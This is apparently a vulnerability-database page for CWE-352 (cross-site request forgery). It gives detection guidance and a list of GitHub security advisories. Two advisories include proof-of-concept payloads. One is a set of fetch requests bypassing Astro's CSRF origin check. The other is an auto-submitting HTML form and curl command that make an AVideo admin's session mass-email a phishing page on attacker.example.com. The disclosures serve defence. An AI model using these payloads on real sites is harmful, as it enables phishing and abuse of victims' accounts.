CWE-352
Weakness AllowedCross-Site Request Forgery
Abstraction: Compound · Status: Stable
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
Mapping guidance
This is a well-known Composite of multiple weaknesses that must all occur simultaneously, although it is attack-oriented in nature.
While attack-oriented composites are supported in CWE, they have not been a focus of research. There is a chance that future research or CWE scope clarifications will change or deprecate them. Perform root-cause analysis to determine if other weaknesses allow CSRF attacks to occur, and map to those weaknesses. For example, predictable CSRF tokens might allow bypass of CSRF protection mechanisms; if this occurs, they might be better characterized as randomness/predictability weaknesses.
Relationships and members
Modes of introduction
REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Detection methods
Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual analysis can be useful for finding this weakness, and for minimizing false positives assuming an understanding of business logic. However, it might not achieve desired code coverage within limited time constraints. For black-box analysis, if credentials are not known for privileged accounts, then the most security-critical portions of the application may not receive sufficient attention.
Consider using OWASP CSRFTester to identify potential issues and aid in manual analysis.
Effectiveness: High
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
Automated Static Analysis
CSRF is currently difficult to detect reliably using automated techniques. This is because each application has its own implicit security policy that dictates which requests can be influenced by an outsider and automatically performed on behalf of a user, versus which requests require strong confidence that the user intends to make the request. For example, a keyword search of the public portion of a web site is typically expected to be encoded within a link that can be launched automatically when the user clicks on the link.
Effectiveness: Limited
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Binary Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: SOAR Partial
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: High
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: SOAR Partial
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction
Effectiveness: SOAR Partial
Notes
Relationship
There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.
Theoretical
The CSRF topology is multi-channel:
Attacker (as outsider) to intermediary (as user). The interaction point is either an external or internal channel.
Intermediary (as user) to server (as victim). The activation point is an internal channel.
Content history
Contributed usability diagram concepts used by the CWE team.
updated Time_of_Introduction
updated Alternate_Terms, Description, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
updated Applicable_Platforms, Description, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Theoretical_Notes
updated Potential_Mitigations
Added demonstrative example for profile.
updated Demonstrative_Examples, Related_Attack_Patterns
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Potential_Mitigations, Time_of_Introduction
updated Applicable_Platforms, Detection_Factors, References, Relationships, Taxonomy_Mappings
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Relationships
updated Potential_Mitigations
updated Description
updated Common_Consequences
updated Relationships
updated Potential_Mitigations, References
updated Related_Attack_Patterns, Relationships
updated Potential_Mitigations
updated Relationships
updated References, Relationships
updated Detection_Factors
updated Relationships
updated Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
updated References, Relationship_Notes, Research_Gaps
updated Relationships
updated Relationships
updated Relationships, Theoretical_Notes
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated References, Relationships
updated Mapping_Notes, Relationships
updated Relationships
updated Alternate_Terms, Common_Consequences, Description, Diagram
updated Detection_Factors, Potential_Mitigations, References
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
updated Applicable_Platforms, Name, References, Relationships, Taxonomy_Mappings
15013 vulnerabilities reference this CWE, most recent first.
GHSA-C4MR-3P9J-GXMJ
Vulnerability from github – Published: 2026-02-19 18:31 – Updated: 2026-02-20 18:31Cross-Site Request Forgery (CSRF) vulnerability in PublishPress PublishPress Revisions revisionary allows Cross Site Request Forgery.This issue affects PublishPress Revisions: from n/a through <= 3.7.22.
{
"affected": [],
"aliases": [
"CVE-2026-25322"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-19T09:16:16Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in PublishPress PublishPress Revisions revisionary allows Cross Site Request Forgery.This issue affects PublishPress Revisions: from n/a through \u003c= 3.7.22.",
"id": "GHSA-c4mr-3p9j-gxmj",
"modified": "2026-02-20T18:31:27Z",
"published": "2026-02-19T18:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25322"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/revisionary/vulnerability/wordpress-publishpress-revisions-plugin-3-7-22-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-C4PW-33H3-35XW
Vulnerability from github – Published: 2024-12-18 15:02 – Updated: 2025-11-27 08:01Summary
A bug in Astro’s CSRF-protection middleware allows requests to bypass CSRF checks.
Details
When the security.checkOrigin configuration option is set to true, Astro middleware will perform a CSRF check. (Source code: https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts)
For example, with the following Astro configuration:
// astro.config.mjs
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
security: { checkOrigin: true },
adapter: node({ mode: 'standalone' }),
});
A request like the following would be blocked if made from a different origin:
// fetch API or <form action="https://test.example.com/" method="POST">
fetch('https://test.example.com/', {
method: 'POST',
credentials: 'include',
body: 'a=b',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
});
// => Cross-site POST form submissions are forbidden
However, a vulnerability exists that can bypass this security.
Pattern 1: Requests with a semicolon after the Content-Type
A semicolon-delimited parameter is allowed after the type in Content-Type.
Web browsers will treat a Content-Type such as application/x-www-form-urlencoded; abc as a simple request and will not perform preflight validation. In this case, CSRF is not blocked as expected.
fetch('https://test.example.com', {
method: 'POST',
credentials: 'include',
body: 'test',
headers: { 'Content-Type': 'application/x-www-form-urlencoded; abc' },
});
// => Server-side functions are executed (Response Code 200).
Pattern 2: Request without Content-Type header
The Content-Type header is not required for a request. The following examples are sent without a Content-Type header, resulting in CSRF.
// Pattern 2.1 Request without body
fetch('http://test.example.com', { method: 'POST', credentials: 'include' });
// Pattern 2.2 Blob object without type
fetch('https://test.example.com', {
method: 'POST',
credentials: 'include',
body: new Blob(['a=b'], {}),
});
Impact
Bypass CSRF protection implemented with CSRF middleware.
[!Note] Even with
credentials: 'include', browsers may not send cookies due to third-party cookie blocking. This feature depends on the browser version and settings, and is for privacy protection, not as a CSRF measure.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "astro"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.16.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-56140"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-18T15:02:37Z",
"nvd_published_at": "2024-12-18T21:15:08Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nA bug in Astro\u2019s CSRF-protection middleware allows requests to bypass CSRF checks.\n\n### Details\n\nWhen the `security.checkOrigin` configuration option is set to `true`, Astro middleware will perform a CSRF check. (Source code: https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts)\n\nFor example, with the following Astro configuration:\n\n```js\n// astro.config.mjs\nimport { defineConfig } from \u0027astro/config\u0027;\nimport node from \u0027@astrojs/node\u0027;\n\nexport default defineConfig({\n\toutput: \u0027server\u0027,\n\tsecurity: { checkOrigin: true },\n\tadapter: node({ mode: \u0027standalone\u0027 }),\n});\n```\n\nA request like the following would be blocked if made from a different origin:\n\n```js\n// fetch API or \u003cform action=\"https://test.example.com/\" method=\"POST\"\u003e\nfetch(\u0027https://test.example.com/\u0027, {\n\tmethod: \u0027POST\u0027,\n\tcredentials: \u0027include\u0027,\n\tbody: \u0027a=b\u0027,\n\theaders: { \u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027 },\n});\n// =\u003e Cross-site POST form submissions are forbidden\n```\n\nHowever, a vulnerability exists that can bypass this security.\n\n#### Pattern 1: Requests with a semicolon after the `Content-Type`\n\nA semicolon-delimited parameter is allowed after the type in `Content-Type`.\n\nWeb browsers will treat a `Content-Type` such as `application/x-www-form-urlencoded; abc` as a [simple request](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) and will not perform preflight validation. In this case, CSRF is not blocked as expected.\n\n```js\nfetch(\u0027https://test.example.com\u0027, {\n\tmethod: \u0027POST\u0027,\n\tcredentials: \u0027include\u0027,\n\tbody: \u0027test\u0027,\n\theaders: { \u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded; abc\u0027 },\n});\n// =\u003e Server-side functions are executed (Response Code 200).\n```\n\n#### Pattern 2: Request without `Content-Type` header\n\nThe `Content-Type` header is not required for a request. The following examples are sent without a `Content-Type` header, resulting in CSRF.\n\n```js\n// Pattern 2.1 Request without body\nfetch(\u0027http://test.example.com\u0027, { method: \u0027POST\u0027, credentials: \u0027include\u0027 });\n\n// Pattern 2.2 Blob object without type\nfetch(\u0027https://test.example.com\u0027, {\n\tmethod: \u0027POST\u0027,\n\tcredentials: \u0027include\u0027,\n\tbody: new Blob([\u0027a=b\u0027], {}),\n});\n```\n\n### Impact\n\nBypass CSRF protection implemented with CSRF middleware.\n\n\u003e [!Note]\n\u003e Even with `credentials: \u0027include\u0027`, browsers may not send cookies due to third-party cookie blocking. This feature depends on the browser version and settings, and is for privacy protection, not as a CSRF measure.",
"id": "GHSA-c4pw-33h3-35xw",
"modified": "2025-11-27T08:01:13Z",
"published": "2024-12-18T15:02:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/withastro/astro/security/advisories/GHSA-c4pw-33h3-35xw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56140"
},
{
"type": "WEB",
"url": "https://github.com/withastro/astro/commit/e7d14c374b9d45e27089994a4eb72186d05514de"
},
{
"type": "WEB",
"url": "https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests"
},
{
"type": "PACKAGE",
"url": "https://github.com/withastro/astro"
},
{
"type": "WEB",
"url": "https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Atro CSRF Middleware Bypass (security.checkOrigin)"
}
GHSA-C4Q4-G662-JR44
Vulnerability from github – Published: 2026-03-06 15:31 – Updated: 2026-03-06 15:31Alive Parish 2.0.4 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the key parameter in the search endpoint. Attackers can also upload arbitrary files via the person photo upload functionality to the images/uploaded directory for remote code execution.
{
"affected": [],
"aliases": [
"CVE-2018-25176"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-06T13:15:59Z",
"severity": "HIGH"
},
"details": "Alive Parish 2.0.4 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the key parameter in the search endpoint. Attackers can also upload arbitrary files via the person photo upload functionality to the images/uploaded directory for remote code execution.",
"id": "GHSA-c4q4-g662-jr44",
"modified": "2026-03-06T15:31:29Z",
"published": "2026-03-06T15:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-25176"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/45840"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/alive-parish-sql-injection-and-arbitrary-file-upload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-C4R3-RGHF-7RX8
Vulnerability from github – Published: 2022-05-24 19:17 – Updated: 2026-07-05 00:31A Cross Site Request Forgery (CSRF) vulnerability was discovered in PHPMyWind 5.6 which allows attackers to create a new administrator account without authentication.
{
"affected": [],
"aliases": [
"CVE-2020-19964"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-14T15:15:00Z",
"severity": "MODERATE"
},
"details": "A Cross Site Request Forgery (CSRF) vulnerability was discovered in PHPMyWind 5.6 which allows attackers to create a new administrator account without authentication.",
"id": "GHSA-c4r3-rghf-7rx8",
"modified": "2026-07-05T00:31:23Z",
"published": "2022-05-24T19:17:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-19964"
},
{
"type": "WEB",
"url": "https://github.com/gaozhifeng/PHPMyWind/issues/9"
},
{
"type": "WEB",
"url": "https://github.com/gaozhifeng/PHPMyWind"
},
{
"type": "WEB",
"url": "http://phpmywind.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C4V8-2HG8-JV77
Vulnerability from github – Published: 2022-05-17 02:42 – Updated: 2023-07-27 20:45admidio 3.2.8 has CSRF in adm_program/modules/members/members_function.php with an impact of deleting arbitrary user accounts.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "admidio/admidio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1-Beta.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-8382"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-27T20:45:46Z",
"nvd_published_at": "2017-05-16T10:29:00Z",
"severity": "MODERATE"
},
"details": "admidio 3.2.8 has CSRF in `adm_program/modules/members/members_function.php` with an impact of deleting arbitrary user accounts.",
"id": "GHSA-c4v8-2hg8-jv77",
"modified": "2023-07-27T20:45:46Z",
"published": "2022-05-17T02:42:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8382"
},
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/issues/612"
},
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/pull/1074"
},
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/commit/a7ac9d3c9e0780e877fe9ac846ac64b284de8553"
},
{
"type": "PACKAGE",
"url": "https://github.com/Admidio/admidio"
},
{
"type": "WEB",
"url": "https://github.com/faizzaidi/Admidio-3.2.8-CSRF-POC-by-Provensec-llc"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/42005"
},
{
"type": "WEB",
"url": "http://en.0day.today/exploit/27771"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "admidio CSRF Vulnerability"
}
GHSA-C4W5-GP2J-JW4F
Vulnerability from github – Published: 2025-12-31 18:30 – Updated: 2026-04-01 18:36Cross-Site Request Forgery (CSRF) vulnerability in emendo_seb Co-marquage service-public.Fr allows Cross Site Request Forgery.This issue affects Co-marquage service-public.Fr: from n/a through 0.5.77.
{
"affected": [],
"aliases": [
"CVE-2025-62113"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-31T17:15:46Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in emendo_seb Co-marquage service-public.Fr allows Cross Site Request Forgery.This issue affects Co-marquage service-public.Fr: from n/a through 0.5.77.",
"id": "GHSA-c4w5-gp2j-jw4f",
"modified": "2026-04-01T18:36:29Z",
"published": "2025-12-31T18:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62113"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/co-marquage-service-public/vulnerability/wordpress-co-marquage-service-public-fr-plugin-0-5-77-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/wordpress/plugin/co-marquage-service-public/vulnerability/wordpress-co-marquage-service-public-fr-plugin-0-5-77-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C4WX-3X5Q-HF4W
Vulnerability from github – Published: 2022-05-24 17:17 – Updated: 2024-04-25 21:54A Cross-Site Request Forgery (CSRF) vulnerability was discovered in Subrion CMS 4.2.1 that allows a remote attacker to remove files on the server without a victim's knowledge, by enticing an authenticated user to visit an attacker's web page. The application fails to validate the CSRF token for a GET request. An attacker can craft a panel/uploads/read.json?cmd=rm URL (removing this token) and send it to the victim.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "intelliants/subrion"
},
"versions": [
"4.2.1"
]
}
],
"aliases": [
"CVE-2019-20390"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-25T21:54:34Z",
"nvd_published_at": "2020-05-15T18:15:00Z",
"severity": "HIGH"
},
"details": "A Cross-Site Request Forgery (CSRF) vulnerability was discovered in Subrion CMS 4.2.1 that allows a remote attacker to remove files on the server without a victim\u0027s knowledge, by enticing an authenticated user to visit an attacker\u0027s web page. The application fails to validate the CSRF token for a GET request. An attacker can craft a panel/uploads/read.json?cmd=rm URL (removing this token) and send it to the victim.",
"id": "GHSA-c4wx-3x5q-hf4w",
"modified": "2024-04-25T21:54:34Z",
"published": "2022-05-24T17:17:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-20390"
},
{
"type": "PACKAGE",
"url": "https://github.com/intelliants/subrion"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/157700/Subrion-CMS-4.2.1-Cross-Site-Request-Forgery.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Subrion CMS Cross-Site Request Forgery (CSRF) vulnerability"
}
GHSA-C4XJ-X7P8-3X7Q
Vulnerability from github – Published: 2026-04-01 20:48 – Updated: 2026-04-01 20:48Summary
The AVideo endpoint objects/emailAllUsers.json.php allows administrators to send HTML emails to every registered user on the platform. While the endpoint verifies admin session status, it does not validate a CSRF token. Because AVideo sets SameSite=None on session cookies, a cross-origin POST request from an attacker-controlled page will include the admin's session cookie automatically. An attacker who lures an admin to a malicious page can send an arbitrary HTML email to every user on the platform, appearing to originate from the instance's legitimate SMTP address.
The endpoint does not call save() on any ORM object, which means the Referer/Origin domain validation implemented in ObjectYPT::save() is never triggered, leaving CSRF as the only required protection - and it is absent.
Details
The endpoint performs an admin check at line 10 but has no CSRF token validation:
// objects/emailAllUsers.json.php:10
if (!User::isAdmin()) {
die('{"error": "Must be admin"}');
}
The message body is taken directly from POST data at line 41:
// objects/emailAllUsers.json.php:41
$obj->message = $_POST['message'];
The message is rendered as HTML in the email at line 48:
// objects/emailAllUsers.json.php:48
$mail->msgHTML($obj->message);
When the email POST parameter is omitted, the endpoint defaults to sending to all registered users by calling User::getAllUsers(). This means the attacker does not need to know any email addresses.
The emails are sent through the platform's configured SMTP server, so they originate from the legitimate platform email address and pass SPF/DKIM validation. This makes the phishing emails highly convincing.
Proof of Concept
Host the following HTML on an attacker-controlled domain and lure an AVideo administrator to visit it:
<!DOCTYPE html>
<html>
<head><title>AVI-038 PoC - CSRF Mass Email</title></head>
<body>
<h1>Please wait...</h1>
<form id="massmail" method="POST"
action="https://your-avideo-instance.com/objects/emailAllUsers.json.php">
<input type="hidden" name="subject" value="Important: Verify Your Account" />
<textarea name="message" style="display:none">
<h2>Account Verification Required</h2>
<p>Your account requires re-verification due to a recent security update.</p>
<p>Please <a href="https://attacker.example.com/phish">click here to verify</a>
within 24 hours to avoid account suspension.</p>
<p>Thank you,<br/>The Platform Team</p>
</textarea>
<!-- Omitting 'email' parameter causes it to send to ALL users -->
</form>
<script>document.getElementById('massmail').submit();</script>
</body>
</html>
Verification steps:
- Set up a test AVideo instance with at least two registered user accounts.
- Log in as an admin in one browser tab.
- Open the attacker HTML page in another tab in the same browser.
- Check the email inboxes of all registered users. Each will have received the phishing email from the platform's legitimate SMTP address.
Alternatively, test with curl using an admin session cookie:
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
-X POST "https://your-avideo-instance.com/objects/emailAllUsers.json.php" \
-d "subject=Test&message=<h1>PoC</h1><p>This email was sent to all users.</p>"
Impact
An attacker can send attacker-controlled HTML emails to every registered user on an AVideo platform by exploiting the admin's session via CSRF. The emails originate from the platform's legitimate SMTP address, pass email authentication checks (SPF, DKIM, DMARC), and appear indistinguishable from genuine platform communications. This enables:
- Mass phishing campaigns targeting all platform users with highly credible emails
- Credential harvesting by directing users to attacker-controlled login pages
- Malware distribution via HTML email payloads
- Reputation damage to the platform operator
The attack requires only a single click from an authenticated admin (visiting an attacker-controlled page). No user enumeration or email address knowledge is needed.
- CWE-352: Cross-Site Request Forgery
Recommended Fix
Add CSRF token validation at objects/emailAllUsers.json.php:13, after the admin check:
// objects/emailAllUsers.json.php:13
if (!isGlobalTokenValid()) {
forbiddenPage('Invalid CSRF token');
exit;
}
Found by aisafe.io
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34611"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T20:48:53Z",
"nvd_published_at": "2026-03-31T21:16:31Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe AVideo endpoint `objects/emailAllUsers.json.php` allows administrators to send HTML emails to every registered user on the platform. While the endpoint verifies admin session status, it does not validate a CSRF token. Because AVideo sets `SameSite=None` on session cookies, a cross-origin POST request from an attacker-controlled page will include the admin\u0027s session cookie automatically. An attacker who lures an admin to a malicious page can send an arbitrary HTML email to every user on the platform, appearing to originate from the instance\u0027s legitimate SMTP address.\n\nThe endpoint does not call `save()` on any ORM object, which means the Referer/Origin domain validation implemented in `ObjectYPT::save()` is never triggered, leaving CSRF as the only required protection - and it is absent.\n\n## Details\n\nThe endpoint performs an admin check at line 10 but has no CSRF token validation:\n\n```php\n// objects/emailAllUsers.json.php:10\nif (!User::isAdmin()) {\n die(\u0027{\"error\": \"Must be admin\"}\u0027);\n}\n```\n\nThe message body is taken directly from POST data at line 41:\n\n```php\n// objects/emailAllUsers.json.php:41\n$obj-\u003emessage = $_POST[\u0027message\u0027];\n```\n\nThe message is rendered as HTML in the email at line 48:\n\n```php\n// objects/emailAllUsers.json.php:48\n$mail-\u003emsgHTML($obj-\u003emessage);\n```\n\nWhen the `email` POST parameter is omitted, the endpoint defaults to sending to all registered users by calling `User::getAllUsers()`. This means the attacker does not need to know any email addresses.\n\nThe emails are sent through the platform\u0027s configured SMTP server, so they originate from the legitimate platform email address and pass SPF/DKIM validation. This makes the phishing emails highly convincing.\n\n## Proof of Concept\n\nHost the following HTML on an attacker-controlled domain and lure an AVideo administrator to visit it:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eAVI-038 PoC - CSRF Mass Email\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003ePlease wait...\u003c/h1\u003e\n\u003cform id=\"massmail\" method=\"POST\"\n action=\"https://your-avideo-instance.com/objects/emailAllUsers.json.php\"\u003e\n\n \u003cinput type=\"hidden\" name=\"subject\" value=\"Important: Verify Your Account\" /\u003e\n\n \u003ctextarea name=\"message\" style=\"display:none\"\u003e\n \u003ch2\u003eAccount Verification Required\u003c/h2\u003e\n \u003cp\u003eYour account requires re-verification due to a recent security update.\u003c/p\u003e\n \u003cp\u003ePlease \u003ca href=\"https://attacker.example.com/phish\"\u003eclick here to verify\u003c/a\u003e\n within 24 hours to avoid account suspension.\u003c/p\u003e\n \u003cp\u003eThank you,\u003cbr/\u003eThe Platform Team\u003c/p\u003e\n \u003c/textarea\u003e\n\n \u003c!-- Omitting \u0027email\u0027 parameter causes it to send to ALL users --\u003e\n\u003c/form\u003e\n\n\u003cscript\u003edocument.getElementById(\u0027massmail\u0027).submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Verification steps:**\n\n1. Set up a test AVideo instance with at least two registered user accounts.\n2. Log in as an admin in one browser tab.\n3. Open the attacker HTML page in another tab in the same browser.\n4. Check the email inboxes of all registered users. Each will have received the phishing email from the platform\u0027s legitimate SMTP address.\n\nAlternatively, test with curl using an admin session cookie:\n\n```bash\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n -X POST \"https://your-avideo-instance.com/objects/emailAllUsers.json.php\" \\\n -d \"subject=Test\u0026message=\u003ch1\u003ePoC\u003c/h1\u003e\u003cp\u003eThis email was sent to all users.\u003c/p\u003e\"\n```\n\n## Impact\n\nAn attacker can send attacker-controlled HTML emails to every registered user on an AVideo platform by exploiting the admin\u0027s session via CSRF. The emails originate from the platform\u0027s legitimate SMTP address, pass email authentication checks (SPF, DKIM, DMARC), and appear indistinguishable from genuine platform communications. This enables:\n\n- Mass phishing campaigns targeting all platform users with highly credible emails\n- Credential harvesting by directing users to attacker-controlled login pages\n- Malware distribution via HTML email payloads\n- Reputation damage to the platform operator\n\nThe attack requires only a single click from an authenticated admin (visiting an attacker-controlled page). No user enumeration or email address knowledge is needed.\n\n- **CWE-352**: Cross-Site Request Forgery\n\n## Recommended Fix\n\nAdd CSRF token validation at `objects/emailAllUsers.json.php:13`, after the admin check:\n\n```php\n// objects/emailAllUsers.json.php:13\nif (!isGlobalTokenValid()) {\n forbiddenPage(\u0027Invalid CSRF token\u0027);\n exit;\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-c4xj-x7p8-3x7q",
"modified": "2026-04-01T20:48:53Z",
"published": "2026-04-01T20:48:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-c4xj-x7p8-3x7q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34611"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/226ad24a51edac57e079ac92ca95c82e1e23e3cf"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo: CSRF on emailAllUsers.json.php Enables Mass Phishing Email to All Users"
}
GHSA-C4XM-FWM7-92HC
